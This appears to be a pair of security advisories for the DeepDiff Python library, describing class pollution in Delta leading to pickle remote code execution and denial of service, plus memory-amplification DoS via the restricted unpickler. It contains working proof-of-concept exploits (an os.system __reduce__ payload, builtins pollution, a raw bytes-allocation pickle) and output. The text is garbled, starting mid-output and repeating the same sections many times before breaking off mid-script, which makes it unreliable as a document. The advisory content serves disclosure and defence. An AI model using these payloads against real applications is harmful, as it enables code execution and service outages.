[*] Memory limit set to 1024 MB
Payload size: 123 bytes
Allocated: 95 MB
Amplification: 813008x
Payload size: 42 bytes
Allocated: 95 MB

Impact

Denial of service. Any application that deserializes delta objects or calls pickle_load with untrusted inputs can be crashed with a small payload. The restricted unpickler is meant to make this safe. It prevents remote code execution but doesn't prevent resource exhaustion.

The amplification is large. 800,000x for delta and 2,000,000x for raw pickle.

Impacted users are anyone who accepts serialized delta objects from untrusted sources — network APIs, file uploads, message queues, etc.

Summary

Python class pollution is a novel vulnerability categorized under CWE-915. The Delta class is vulnerable to class pollution via its constructor, and when combined with a gadget available in DeltaDiff itself, it can lead to Denial of Service and Remote Code Execution (via insecure Pickle deserialization).

The gadget available in DeepDiff allows deepdiff.serialization.SAFE_TO_IMPORT to be modified to allow dangerous classes such as posix.system, and then perform insecure Pickle deserialization via the Delta class. This potentially allows any Python code to be executed, given that the input to Delta is user-controlled.

Depending on the application where DeepDiff is used, this can also lead to other vulnerabilities. For example, in a web application, it might be possible to bypass authentication via class pollution.

Details

The Delta class can take different object types as a parameter in its constructor, such as a DeltaDiff object, a dictionary, or even just bytes (that are deserialized via Pickle).

When it takes a dictionary, it is usually in the following format:

Delta({"dictionary_item_added": {"root.myattr['foo']": "bar"}})

Trying to apply class pollution here does not work, because there is already a filter in place: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L23

However, this code only runs when parsing the path from a string. The _path_to_elements function helpfully returns the given input if it is already a list/tuple: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L52-L53

This means that it is possible to pass the path as the internal representation used by Delta, bypassing the filter:

Delta(
    {
        "dictionary_item_added": {
            (
                ("root", "GETATTR"),
                ("__init__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("PWNED", "GET"),
            ): 1337
        }
    },
)

Going back to the possible inputs of Delta, when it takes a bytes as input, it uses pickle to deserialize them. Care was taken by DeepDiff to prevent arbitrary code execution via the SAFE_TO_IMPORT allow list. https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/serialization.py#L62-L98 However, using the class pollution in the Delta, an attacker can add new entries to this set.

This then allows a second call to Delta to unpickle an insecure class that runs os.system, for example.

Using dict

Usually, class pollution does not work when traversal starts at a dict/list/tuple, because it is not possible to reach __globals__ from there. However, using two calls to Delta (or just one call if the target dictionary that already contains at least one entry) it is possible to first change one entry of the dictionary to be of type deepdiff.helper.Opcode, which then allows traversal to __globals__, and notably sys.modules, which in turn allows traversal to any module already loaded by Python. Passing Opcode around can be done via pickle, which Delta will happily accept given it is in the default allow list.

Proof of Concept

With deepdiff 8.6.0 installed, run the following scripts for each proof of concept. All input to Delta is assumed to be user-controlled.

Denial of Service

This script will pollute the value of builtins.int, preventing the class from being used and making code crash whenever invoked.

# ------------[ Setup ]------------
import pickle
 
from deepdiff.helper import Opcode

pollute_int = pickle.dumps(
    {
        "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}},
        "dictionary_item_added": {
            (
                ("root", "GETATTR"),
                ("tmp", "GET"),
                ("__repr__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("__builtins__", "GET"),
                ("int", "GET"),
            ): "no longer a class"
        },
    }
)


assert isinstance(pollute_int, bytes)

# ------------[ Exploit ]------------
# This could be some example, vulnerable, application.
# The inputs above could be sent via HTTP, for example.

from deepdiff import Delta

# Existing dictionary; it is assumed that it contains
# at least one entry, otherwise a different Delta needs to be
# applied first, adding an entry to the dictionary.
mydict = {"tmp": "foobar"}

# Before pollution
print(int("41") + 1)

# Apply Delta to mydict
result = mydict + Delta(pollute_int)

print(int("1337"))

$ python poc_dos.py
42
Traceback (most recent call last):
  File "/tmp/poc_dos.py", line 43, in <module>
    print(int("1337"))
TypeError: 'str' object is not callable

Remote Code Execution

This script will create a file at /tmp/pwned with the output of id.

 # ------------[ Setup ]------------
import os
import pickle

from deepdiff.helper import Opcode

pollute_safe_to_import = pickle.dumps(
    {
        "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}},
        "set_item_added": {
            (
                ("root", "GETATTR"),
                ("tmp", "GET"),
                ("__repr__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("sys", "GET"),
                ("modules", "GETATTR"),
                ("deepdiff.serialization", "GET"),
                ("SAFE_TO_IMPORT", "GETATTR"),
            ): set(["posix.system"])
        },
    }
)


# From https://davidhamann.de/2020/04/05/exploiting-python-pickle/
 class RCE:
    def __reduce__(self):
        cmd = "id > /tmp/pwned"
        return os.system, (cmd,)


# Wrap object with dictionary so that Delta does not crash
rce_pickle = pickle.dumps({"_": RCE()})

assert isinstance(pollute_safe_to_import, bytes)
assert isinstance(rce_pickle, bytes)

# ------------[ Exploit ]------------
 # This could be some example, vulnerable, application.
# The inputs above could be sent via HTTP, for example.

from deepdiff import Delta

# Existing dictionary; it is assumed that it contains
# at least one entry, otherwise a different Delta needs to be
# applied first, adding an entry to the dictionary.
mydict = {"tmp": "foobar"}

# Apply Delta to mydict
result = mydict + Delta(pollute_safe_to_import)

Delta(rce_pickle)  # no need to apply this Delta

$ python poc_rce.py
 $ cat /tmp/pwned
uid=1000(dtc) gid=100(users) groups=100(users),1(wheel)

Who is affected?

Only applications that pass (untrusted) user input directly into Delta are affected.

While input in the form of bytes is the most flexible, there are certainly other gadgets, depending on the application, that can be used via just a dictionary. This dictionary could easily be parsed, for example, from JSON. One simple example would be overriding app.secret_key of a Flask application, which would allow an attacker to sign arbitrary cookies, leading to an authentication bypass.

Mitigations

A straightforward mitigation is preventing traversal through private keys, like it is already done in the path parser. This would have to be implemented in both deepdiff.path._get_nested_obj and deepdiff.path._get_nested_obj_and_force, and possibly in deepdiff.delta.Delta._get_elements_and_details. Example code that raises an error when traversing these properties:

if elem.startswith("__") and elem.endswith("__"):
  raise ValueError("traversing dunder attributes is not allowed")

However, if it is desirable to still support attributes starting and ending with __, but still protect against this vulnerability, it is possible to only forbid __globals__ and __builtins__, which stops the most serious cases of class pollution (but not all). This was the solution adopted by pydash: https://github.com/dgilland/pydash/issues/180

Summary

The pickle unpickler _RestrictedUnpickler validates which classes can be loaded but does not limit their constructor arguments. A few of the types in SAFE_TO_IMPORT have constructors that allocate memory proportional to their input (builtins.bytes, builtins.list, builtins.range). A 40-byte pickle payload can force 10+ GB of memory, which crashes applications that load delta objects or call pickle_load with untrusted data.

Details

CVE-2025-58367 hardened the delta class against pollution and remote code execution by converting SAFE_TO_IMPORT to a frozenset and blocking traversal. _RestrictedUnpickler.find_class only gates which classes can be loaded. It doesn't intercept REDUCE opcodes or validate what is passed to constructors.

It can be exploited in 2 ways.

1 - During pickle_load

A pickle that calls bytes(N) using opcodes permitted by the allowlist. The allocation happens during deserialization and before the delta processes anything. The restricted unpickler does not override load_reduce so any allowed class can be called.

GLOBAL builtins.bytes      (passes find_class check — serialization.py:353)
INT    10000000000          (10 billion)
TUPLE + REDUCE             → bytes(10**10) → allocates ~9.3 GB

2 - During delta application

A valid diff dict that first sets a value to a large int via values_changed, then converts it to bytes via type_changes. It works because _do_values_changed() runs before _do_type_changes() in Delta.add() in delta.py line 183. Step 1 modifies the target in place before step 2 reads the modified value and calls new_type(current_old_value) at delta.py line 576 with no size guard.

PoC

The script uses Python's resource module to cap memory to 1 GB so you can reproduce safely without hitting the OOM killer. It loads deepdiff first, applies the limit, then runs the payload. Change 10**8 to 10**10 for the full 9.3 GB allocation.

import resource
import sys

def limit_memory(maxsize_mb):
    """Cap virtual memory for this process."""
    soft, hard = resource.getrlimit(resource.RLIMIT_AS)
    maxsize_bytes = maxsize_mb * 1024 * 1024
    try:
        resource.setrlimit(resource.RLIMIT_AS, (maxsize_bytes, hard))
        print(f"[*] Memory limit set to {maxsize_mb} MB")
    except ValueError:
        print("[!] Failed to set memory limit.")
        sys.exit(1)

# Load heavy imports before enforcing the limit
from deepdiff import Delta
from deepdiff.serialization import pickle_dump, pickle_load

limit_memory(1024)

# --- Delta application path ---
payload_dict = {
    'values_changed': {"root['x']": {'new_value': 10**8}},
    'type_changes': {"root['x']": {'new_type': bytes}},
}

payload1 = pickle_dump(payload_dict)
print(f"Payload size: {len(payload1)} bytes")

target = {'x': 'anything'}
try:
    result = target + Delta(payload1)
    print(f"Allocated: {len(result['x']) // 1024 // 1024} MB")
    print(f"Amplification: {len(result['x']) // len(payload1)}x")
except MemoryError:
    print("[!] MemoryError — payload tried to allocate too much")

# --- Raw pickle path ---
payload2 = (
    b"(dp0\n"
    b"S'_'\n"
    b"cbuiltins\nbytes\n"
    b"(I100000000\n"
    b"tR"
    b"s."
)

print(f"Payload size: {len(payload2)} bytes")
try:
    result2 = pickle_load(payload2)
    print(f"Allocated: {len(result2['_']) // 1024 // 1024} MB")
except MemoryError:
    print("[!] MemoryError — payload tried to allocate too much")

Output:

[*] Memory limit set to 1024 MB
Payload size: 123 bytes
Allocated: 95 MB
Amplification: 813008x
Payload size: 42 bytes
Allocated: 95 MB

Impact

Denial of service. Any application that deserializes delta objects or calls pickle_load with untrusted inputs can be crashed with a small payload. The restricted unpickler is meant to make this safe. It prevents remote code execution but doesn't prevent resource exhaustion.

The amplification is large. 800,000x for delta and 2,000,000x for raw pickle.

Impacted users are anyone who accepts serialized delta objects from untrusted sources — network APIs, file uploads, message queues, etc.

Summary

Python class pollution is a novel vulnerability categorized under CWE-915. The Delta class is vulnerable to class pollution via its constructor, and when combined with a gadget available in DeltaDiff itself, it can lead to Denial of Service and Remote Code Execution (via insecure Pickle deserialization).

The gadget available in DeepDiff allows deepdiff.serialization.SAFE_TO_IMPORT to be modified to allow dangerous classes such as posix.system, and then perform insecure Pickle deserialization via the Delta class. This potentially allows any Python code to be executed, given that the input to Delta is user-controlled.

Depending on the application where DeepDiff is used, this can also lead to other vulnerabilities. For example, in a web application, it might be possible to bypass authentication via class pollution.

Details

The Delta class can take different object types as a parameter in its constructor, such as a DeltaDiff object, a dictionary, or even just bytes (that are deserialized via Pickle).

When it takes a dictionary, it is usually in the following format:

Delta({"dictionary_item_added": {"root.myattr['foo']": "bar"}})

Trying to apply class pollution here does not work, because there is already a filter in place: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L23

However, this code only runs when parsing the path from a string. The _path_to_elements function helpfully returns the given input if it is already a list/tuple: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L52-L53

This means that it is possible to pass the path as the internal representation used by Delta, bypassing the filter:

Delta(
    {
        "dictionary_item_added": {
            (
                ("root", "GETATTR"),
                ("__init__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("PWNED", "GET"),
            ): 1337
        }
    },
)

Going back to the possible inputs of Delta, when it takes a bytes as input, it uses pickle to deserialize them. Care was taken by DeepDiff to prevent arbitrary code execution via the SAFE_TO_IMPORT allow list. https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/serialization.py#L62-L98 However, using the class pollution in the Delta, an attacker can add new entries to this set.

This then allows a second call to Delta to unpickle an insecure class that runs os.system, for example.

Using dict

Usually, class pollution does not work when traversal starts at a dict/list/tuple, because it is not possible to reach __globals__ from there. However, using two calls to Delta (or just one call if the target dictionary that already contains at least one entry) it is possible to first change one entry of the dictionary to be of type deepdiff.helper.Opcode, which then allows traversal to __globals__, and notably sys.modules, which in turn allows traversal to any module already loaded by Python. Passing Opcode around can be done via pickle, which Delta will happily accept given it is in the default allow list.

Proof of Concept

With deepdiff 8.6.0 installed, run the following scripts for each proof of concept. All input to Delta is assumed to be user-controlled.

Denial of Service

This script will pollute the value of builtins.int, preventing the class from being used and making code crash whenever invoked.

# ------------[ Setup ]------------
import pickle
 
from deepdiff.helper import Opcode

pollute_int = pickle.dumps(
    {
        "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}},
        "dictionary_item_added": {
            (
                ("root", "GETATTR"),
                ("tmp", "GET"),
                ("__repr__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("__builtins__", "GET"),
                ("int", "GET"),
            ): "no longer a class"
        },
    }
)


assert isinstance(pollute_int, bytes)

# ------------[ Exploit ]------------
# This could be some example, vulnerable, application.
# The inputs above could be sent via HTTP, for example.

from deepdiff import Delta

# Existing dictionary; it is assumed that it contains
# at least one entry, otherwise a different Delta needs to be
# applied first, adding an entry to the dictionary.
mydict = {"tmp": "foobar"}

# Before pollution
print(int("41") + 1)

# Apply Delta to mydict
result = mydict + Delta(pollute_int)

print(int("1337"))

$ python poc_dos.py
42
Traceback (most recent call last):
  File "/tmp/poc_dos.py", line 43, in <module>
    print(int("1337"))
TypeError: 'str' object is not callable

Remote Code Execution

This script will create a file at /tmp/pwned with the output of id.

 # ------------[ Setup ]------------
import os
import pickle

from deepdiff.helper import Opcode

pollute_safe_to_import = pickle.dumps(
    {
        "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}},
        "set_item_added": {
            (
                ("root", "GETATTR"),
                ("tmp", "GET"),
                ("__repr__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("sys", "GET"),
                ("modules", "GETATTR"),
                ("deepdiff.serialization", "GET"),
                ("SAFE_TO_IMPORT", "GETATTR"),
            ): set(["posix.system"])
        },
    }
)


# From https://davidhamann.de/2020/04/05/exploiting-python-pickle/
 class RCE:
    def __reduce__(self):
        cmd = "id > /tmp/pwned"
        return os.system, (cmd,)


# Wrap object with dictionary so that Delta does not crash
rce_pickle = pickle.dumps({"_": RCE()})

assert isinstance(pollute_safe_to_import, bytes)
assert isinstance(rce_pickle, bytes)

# ------------[ Exploit ]------------
 # This could be some example, vulnerable, application.
# The inputs above could be sent via HTTP, for example.

from deepdiff import Delta

# Existing dictionary; it is assumed that it contains
# at least one entry, otherwise a different Delta needs to be
# applied first, adding an entry to the dictionary.
mydict = {"tmp": "foobar"}

# Apply Delta to mydict
result = mydict + Delta(pollute_safe_to_import)

Delta(rce_pickle)  # no need to apply this Delta

$ python poc_rce.py
 $ cat /tmp/pwned
uid=1000(dtc) gid=100(users) groups=100(users),1(wheel)

Who is affected?

Only applications that pass (untrusted) user input directly into Delta are affected.

While input in the form of bytes is the most flexible, there are certainly other gadgets, depending on the application, that can be used via just a dictionary. This dictionary could easily be parsed, for example, from JSON. One simple example would be overriding app.secret_key of a Flask application, which would allow an attacker to sign arbitrary cookies, leading to an authentication bypass.

Mitigations

A straightforward mitigation is preventing traversal through private keys, like it is already done in the path parser. This would have to be implemented in both deepdiff.path._get_nested_obj and deepdiff.path._get_nested_obj_and_force, and possibly in deepdiff.delta.Delta._get_elements_and_details. Example code that raises an error when traversing these properties:

if elem.startswith("__") and elem.endswith("__"):
  raise ValueError("traversing dunder attributes is not allowed")

However, if it is desirable to still support attributes starting and ending with __, but still protect against this vulnerability, it is possible to only forbid __globals__ and __builtins__, which stops the most serious cases of class pollution (but not all). This was the solution adopted by pydash: https://github.com/dgilland/pydash/issues/180

Summary

The pickle unpickler _RestrictedUnpickler validates which classes can be loaded but does not limit their constructor arguments. A few of the types in SAFE_TO_IMPORT have constructors that allocate memory proportional to their input (builtins.bytes, builtins.list, builtins.range). A 40-byte pickle payload can force 10+ GB of memory, which crashes applications that load delta objects or call pickle_load with untrusted data.

Details

CVE-2025-58367 hardened the delta class against pollution and remote code execution by converting SAFE_TO_IMPORT to a frozenset and blocking traversal. _RestrictedUnpickler.find_class only gates which classes can be loaded. It doesn't intercept REDUCE opcodes or validate what is passed to constructors.

It can be exploited in 2 ways.

1 - During pickle_load

A pickle that calls bytes(N) using opcodes permitted by the allowlist. The allocation happens during deserialization and before the delta processes anything. The restricted unpickler does not override load_reduce so any allowed class can be called.

GLOBAL builtins.bytes      (passes find_class check — serialization.py:353)
INT    10000000000          (10 billion)
TUPLE + REDUCE             → bytes(10**10) → allocates ~9.3 GB

2 - During delta application

A valid diff dict that first sets a value to a large int via values_changed, then converts it to bytes via type_changes. It works because _do_values_changed() runs before _do_type_changes() in Delta.add() in delta.py line 183. Step 1 modifies the target in place before step 2 reads the modified value and calls new_type(current_old_value) at delta.py line 576 with no size guard.

PoC

The script uses Python's resource module to cap memory to 1 GB so you can reproduce safely without hitting the OOM killer. It loads deepdiff first, applies the limit, then runs the payload. Change 10**8 to 10**10 for the full 9.3 GB allocation.

import resource
import sys

def limit_memory(maxsize_mb):
    """Cap virtual memory for this process."""
    soft, hard = resource.getrlimit(resource.RLIMIT_AS)
    maxsize_bytes = maxsize_mb * 1024 * 1024
    try:
        resource.setrlimit(resource.RLIMIT_AS, (maxsize_bytes, hard))
        print(f"[*] Memory limit set to {maxsize_mb} MB")
    except ValueError:
        print("[!] Failed to set memory limit.")
        sys.exit(1)

# Load heavy imports before enforcing the limit
from deepdiff import Delta
from deepdiff.serialization import pickle_dump, pickle_load

limit_memory(1024)

# --- Delta application path ---
payload_dict = {
    'values_changed': {"root['x']": {'new_value': 10**8}},
    'type_changes': {"root['x']": {'new_type': bytes}},
}

payload1 = pickle_dump(payload_dict)
print(f"Payload size: {len(payload1)} bytes")

target = {'x': 'anything'}
try:
    result = target + Delta(payload1)
    print(f"Allocated: {len(result['x']) // 1024 // 1024} MB")
    print(f"Amplification: {len(result['x']) // len(payload1)}x")
except MemoryError:
    print("[!] MemoryError — payload tried to allocate too much")

# --- Raw pickle path ---
payload2 = (
    b"(dp0\n"
    b"S'_'\n"
    b"cbuiltins\nbytes\n"
    b"(I100000000\n"
    b"tR"
    b"s."
)

print(f"Payload size: {len(payload2)} bytes")
try:
    result2 = pickle_load(payload2)
    print(f"Allocated: {len(result2['_']) // 1024 // 1024} MB")
except MemoryError:
    print("[!] MemoryError — payload tried to allocate too much")

Output:

[*] Memory limit set to 1024 MB
Payload size: 123 bytes
Allocated: 95 MB
Amplification: 813008x
Payload size: 42 bytes
Allocated: 95 MB

Impact

Denial of service. Any application that deserializes delta objects or calls pickle_load with untrusted inputs can be crashed with a small payload. The restricted unpickler is meant to make this safe. It prevents remote code execution but doesn't prevent resource exhaustion.

The amplification is large. 800,000x for delta and 2,000,000x for raw pickle.

Impacted users are anyone who accepts serialized delta objects from untrusted sources — network APIs, file uploads, message queues, etc.

Summary

Python class pollution is a novel vulnerability categorized under CWE-915. The Delta class is vulnerable to class pollution via its constructor, and when combined with a gadget available in DeltaDiff itself, it can lead to Denial of Service and Remote Code Execution (via insecure Pickle deserialization).

The gadget available in DeepDiff allows deepdiff.serialization.SAFE_TO_IMPORT to be modified to allow dangerous classes such as posix.system, and then perform insecure Pickle deserialization via the Delta class. This potentially allows any Python code to be executed, given that the input to Delta is user-controlled.

Depending on the application where DeepDiff is used, this can also lead to other vulnerabilities. For example, in a web application, it might be possible to bypass authentication via class pollution.

Details

The Delta class can take different object types as a parameter in its constructor, such as a DeltaDiff object, a dictionary, or even just bytes (that are deserialized via Pickle).

When it takes a dictionary, it is usually in the following format:

Delta({"dictionary_item_added": {"root.myattr['foo']": "bar"}})

Trying to apply class pollution here does not work, because there is already a filter in place: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L23

However, this code only runs when parsing the path from a string. The _path_to_elements function helpfully returns the given input if it is already a list/tuple: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L52-L53

This means that it is possible to pass the path as the internal representation used by Delta, bypassing the filter:

Delta(
    {
        "dictionary_item_added": {
            (
                ("root", "GETATTR"),
                ("__init__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("PWNED", "GET"),
            ): 1337
        }
    },
)

Going back to the possible inputs of Delta, when it takes a bytes as input, it uses pickle to deserialize them. Care was taken by DeepDiff to prevent arbitrary code execution via the SAFE_TO_IMPORT allow list. https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/serialization.py#L62-L98 However, using the class pollution in the Delta, an attacker can add new entries to this set.

This then allows a second call to Delta to unpickle an insecure class that runs os.system, for example.

Using dict

Usually, class pollution does not work when traversal starts at a dict/list/tuple, because it is not possible to reach __globals__ from there. However, using two calls to Delta (or just one call if the target dictionary that already contains at least one entry) it is possible to first change one entry of the dictionary to be of type deepdiff.helper.Opcode, which then allows traversal to __globals__, and notably sys.modules, which in turn allows traversal to any module already loaded by Python. Passing Opcode around can be done via pickle, which Delta will happily accept given it is in the default allow list.

Proof of Concept

With deepdiff 8.6.0 installed, run the following scripts for each proof of concept. All input to Delta is assumed to be user-controlled.

Denial of Service

This script will pollute the value of builtins.int, preventing the class from being used and making code crash whenever invoked.

# ------------[ Setup ]------------
import pickle
 
from deepdiff.helper import Opcode

pollute_int = pickle.dumps(
    {
        "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}},
        "dictionary_item_added": {
            (
                ("root", "GETATTR"),
                ("tmp", "GET"),
                ("__repr__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("__builtins__", "GET"),
                ("int", "GET"),
            ): "no longer a class"
        },
    }
)


assert isinstance(pollute_int, bytes)

# ------------[ Exploit ]------------
# This could be some example, vulnerable, application.
# The inputs above could be sent via HTTP, for example.

from deepdiff import Delta

# Existing dictionary; it is assumed that it contains
# at least one entry, otherwise a different Delta needs to be
# applied first, adding an entry to the dictionary.
mydict = {"tmp": "foobar"}

# Before pollution
print(int("41") + 1)

# Apply Delta to mydict
result = mydict + Delta(pollute_int)

print(int("1337"))

$ python poc_dos.py
42
Traceback (most recent call last):
  File "/tmp/poc_dos.py", line 43, in <module>
    print(int("1337"))
TypeError: 'str' object is not callable

Remote Code Execution

This script will create a file at /tmp/pwned with the output of id.

 # ------------[ Setup ]------------
import os
import pickle

from deepdiff.helper import Opcode

pollute_safe_to_import = pickle.dumps(
    {
        "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}},
        "set_item_added": {
            (
                ("root", "GETATTR"),
                ("tmp", "GET"),
                ("__repr__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("sys", "GET"),
                ("modules", "GETATTR"),
                ("deepdiff.serialization", "GET"),
                ("SAFE_TO_IMPORT", "GETATTR"),
            ): set(["posix.system"])
        },
    }
)


# From https://davidhamann.de/2020/04/05/exploiting-python-pickle/
 class RCE:
    def __reduce__(self):
        cmd = "id > /tmp/pwned"
        return os.system, (cmd,)


# Wrap object with dictionary so that Delta does not crash
rce_pickle = pickle.dumps({"_": RCE()})

assert isinstance(pollute_safe_to_import, bytes)
assert isinstance(rce_pickle, bytes)

# ------------[ Exploit ]------------
 # This could be some example, vulnerable, application.
# The inputs above could be sent via HTTP, for example.

from deepdiff import Delta

# Existing dictionary; it is assumed that it contains
# at least one entry, otherwise a different Delta needs to be
# applied first, adding an entry to the dictionary.
mydict = {"tmp": "foobar"}

# Apply Delta to mydict
result = mydict + Delta(pollute_safe_to_import)

Delta(rce_pickle)  # no need to apply this Delta

$ python poc_rce.py
 $ cat /tmp/pwned
uid=1000(dtc) gid=100(users) groups=100(users),1(wheel)

Who is affected?

Only applications that pass (untrusted) user input directly into Delta are affected.

While input in the form of bytes is the most flexible, there are certainly other gadgets, depending on the application, that can be used via just a dictionary. This dictionary could easily be parsed, for example, from JSON. One simple example would be overriding app.secret_key of a Flask application, which would allow an attacker to sign arbitrary cookies, leading to an authentication bypass.

Mitigations

A straightforward mitigation is preventing traversal through private keys, like it is already done in the path parser. This would have to be implemented in both deepdiff.path._get_nested_obj and deepdiff.path._get_nested_obj_and_force, and possibly in deepdiff.delta.Delta._get_elements_and_details. Example code that raises an error when traversing these properties:

if elem.startswith("__") and elem.endswith("__"):
  raise ValueError("traversing dunder attributes is not allowed")

However, if it is desirable to still support attributes starting and ending with __, but still protect against this vulnerability, it is possible to only forbid __globals__ and __builtins__, which stops the most serious cases of class pollution (but not all). This was the solution adopted by pydash: https://github.com/dgilland/pydash/issues/180

Summary

The pickle unpickler _RestrictedUnpickler validates which classes can be loaded but does not limit their constructor arguments. A few of the types in SAFE_TO_IMPORT have constructors that allocate memory proportional to their input (builtins.bytes, builtins.list, builtins.range). A 40-byte pickle payload can force 10+ GB of memory, which crashes applications that load delta objects or call pickle_load with untrusted data.

Details

CVE-2025-58367 hardened the delta class against pollution and remote code execution by converting SAFE_TO_IMPORT to a frozenset and blocking traversal. _RestrictedUnpickler.find_class only gates which classes can be loaded. It doesn't intercept REDUCE opcodes or validate what is passed to constructors.

It can be exploited in 2 ways.

1 - During pickle_load

A pickle that calls bytes(N) using opcodes permitted by the allowlist. The allocation happens during deserialization and before the delta processes anything. The restricted unpickler does not override load_reduce so any allowed class can be called.

GLOBAL builtins.bytes      (passes find_class check — serialization.py:353)
INT    10000000000          (10 billion)
TUPLE + REDUCE             → bytes(10**10) → allocates ~9.3 GB

2 - During delta application

A valid diff dict that first sets a value to a large int via values_changed, then converts it to bytes via type_changes. It works because _do_values_changed() runs before _do_type_changes() in Delta.add() in delta.py line 183. Step 1 modifies the target in place before step 2 reads the modified value and calls new_type(current_old_value) at delta.py line 576 with no size guard.

PoC

The script uses Python's resource module to cap memory to 1 GB so you can reproduce safely without hitting the OOM killer. It loads deepdiff first, applies the limit, then runs the payload. Change 10**8 to 10**10 for the full 9.3 GB allocation.

import resource
import sys

def limit_memory(maxsize_mb):
    """Cap virtual memory for this process."""
    soft, hard = resource.getrlimit(resource.RLIMIT_AS)
    maxsize_bytes = maxsize_mb * 1024 * 1024
    try:
        resource.setrlimit(resource.RLIMIT_AS, (maxsize_bytes, hard))
        print(f"[*] Memory limit set to {maxsize_mb} MB")
    except ValueError:
        print("[!] Failed to set memory limit.")
        sys.exit(1)

# Load heavy imports before enforcing the limit
from deepdiff import Delta
from deepdiff.serialization import pickle_dump, pickle_load

limit_memory(1024)

# --- Delta application path ---
payload_dict = {
    'values_changed': {"root['x']": {'new_value': 10**8}},
    'type_changes': {"root['x']": {'new_type': bytes}},
}

payload1 = pickle_dump(payload_dict)
print(f"Payload size: {len(payload1)} bytes")

target = {'x': 'anything'}
try:
    result = target + Delta(payload1)
    print(f"Allocated: {len(result['x']) // 1024 // 1024} MB")
    print(f"Amplification: {len(result['x']) // len(payload1)}x")
except MemoryError:
    print("[!] MemoryError — payload tried to allocate too much")

# --- Raw pickle path ---
payload2 = (
    b"(dp0\n"
    b"S'_'\n"
    b"cbuiltins\nbytes\n"
    b"(I100000000\n"
    b"tR"
    b"s."
)

print(f"Payload size: {len(payload2)} bytes")
try:
    result2 = pickle_load(payload2)
    print(f"Allocated: {len(result2['_']) // 1024 // 1024} MB")
except MemoryError:
    print("[!] MemoryError — payload tried to allocate too much")

Output:

[*] Memory limit set to 1024 MB
Payload size: 123 bytes
Allocated: 95 MB
Amplification: 813008x
Payload size: 42 bytes
Allocated: 95 MB

Impact

Denial of service. Any application that deserializes delta objects or calls pickle_load with untrusted inputs can be crashed with a small payload. The restricted unpickler is meant to make this safe. It prevents remote code execution but doesn't prevent resource exhaustion.

The amplification is large. 800,000x for delta and 2,000,000x for raw pickle.

Impacted users are anyone who accepts serialized delta objects from untrusted sources — network APIs, file uploads, message queues, etc.

Summary

Python class pollution is a novel vulnerability categorized under CWE-915. The Delta class is vulnerable to class pollution via its constructor, and when combined with a gadget available in DeltaDiff itself, it can lead to Denial of Service and Remote Code Execution (via insecure Pickle deserialization).

The gadget available in DeepDiff allows deepdiff.serialization.SAFE_TO_IMPORT to be modified to allow dangerous classes such as posix.system, and then perform insecure Pickle deserialization via the Delta class. This potentially allows any Python code to be executed, given that the input to Delta is user-controlled.

Depending on the application where DeepDiff is used, this can also lead to other vulnerabilities. For example, in a web application, it might be possible to bypass authentication via class pollution.

Details

The Delta class can take different object types as a parameter in its constructor, such as a DeltaDiff object, a dictionary, or even just bytes (that are deserialized via Pickle).

When it takes a dictionary, it is usually in the following format:

Delta({"dictionary_item_added": {"root.myattr['foo']": "bar"}})

Trying to apply class pollution here does not work, because there is already a filter in place: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L23

However, this code only runs when parsing the path from a string. The _path_to_elements function helpfully returns the given input if it is already a list/tuple: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L52-L53

This means that it is possible to pass the path as the internal representation used by Delta, bypassing the filter:

Delta(
    {
        "dictionary_item_added": {
            (
                ("root", "GETATTR"),
                ("__init__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("PWNED", "GET"),
            ): 1337
        }
    },
)

Going back to the possible inputs of Delta, when it takes a bytes as input, it uses pickle to deserialize them. Care was taken by DeepDiff to prevent arbitrary code execution via the SAFE_TO_IMPORT allow list. https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/serialization.py#L62-L98 However, using the class pollution in the Delta, an attacker can add new entries to this set.

This then allows a second call to Delta to unpickle an insecure class that runs os.system, for example.

Using dict

Usually, class pollution does not work when traversal starts at a dict/list/tuple, because it is not possible to reach __globals__ from there. However, using two calls to Delta (or just one call if the target dictionary that already contains at least one entry) it is possible to first change one entry of the dictionary to be of type deepdiff.helper.Opcode, which then allows traversal to __globals__, and notably sys.modules, which in turn allows traversal to any module already loaded by Python. Passing Opcode around can be done via pickle, which Delta will happily accept given it is in the default allow list.

Proof of Concept

With deepdiff 8.6.0 installed, run the following scripts for each proof of concept. All input to Delta is assumed to be user-controlled.

Denial of Service

This script will pollute the value of builtins.int, preventing the class from being used and making code crash whenever invoked.

# ------------[ Setup ]------------
import pickle
 
from deepdiff.helper import Opcode

pollute_int = pickle.dumps(
    {
